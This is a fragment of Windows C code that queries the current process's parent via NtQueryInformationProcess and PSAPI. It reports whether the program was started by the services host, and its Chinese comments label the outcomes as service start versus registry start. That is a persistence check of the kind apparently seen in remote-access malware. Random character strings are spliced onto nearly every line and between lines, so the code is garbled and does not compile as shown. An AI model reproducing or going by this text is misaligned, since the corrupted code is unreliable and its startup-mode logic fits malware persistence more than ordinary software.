ULONG InheritedFromUniqueProcessId; L
FHyiIO
} PROCESS_BASIC_INFORMATION; <!y_L5S|
(dpBGt@
PROCNTQSIP NtQueryInformationProcess; ? Q.Y
9=rYzA?)+
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oFoG+H"&7\
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ppR_y
]}ff*W
HANDLE hProcess; \z:p"eua z
PROCESS_BASIC_INFORMATION pbi; 01H3@0Q6
iFF/[P
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T(a*d7
if(NULL == hInst ) return 0; 0w< iz;30
'V4.umj1~
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T >g1!
-^
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qlPjz*<h"H
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !h?N)9e
y|.wL=;
if (!NtQueryInformationProcess) return 0; /J/r 62
mrFMdpaHl%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hYi-F.Qtq
if(!hProcess) return 0; 8}xU]N#EV
Jfo|/JQ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3`^]#Dh
Gg5vf]VFo
CloseHandle(hProcess); r\_rnM)_xN
YyK9UZjI
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `'0opoQRe
if(hProcess==NULL) return 0; #0!C3it6c
wKk
HMODULE hMod; S_ nTp)
char procName[255]; G`6U t
unsigned long cbNeeded; k^R>x V
86R}G/>>e
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G?3S_3J2
HeSnj-mtr}
CloseHandle(hProcess); Bw{@YDO{
/%)MlG
if(strstr(procName,"services")) return 1; // 以服务启动 r)+dK}xl
/V7u0y
return 0; // 注册表启动 (e F5?I
} t9 &O0tpe
;pAkdX&b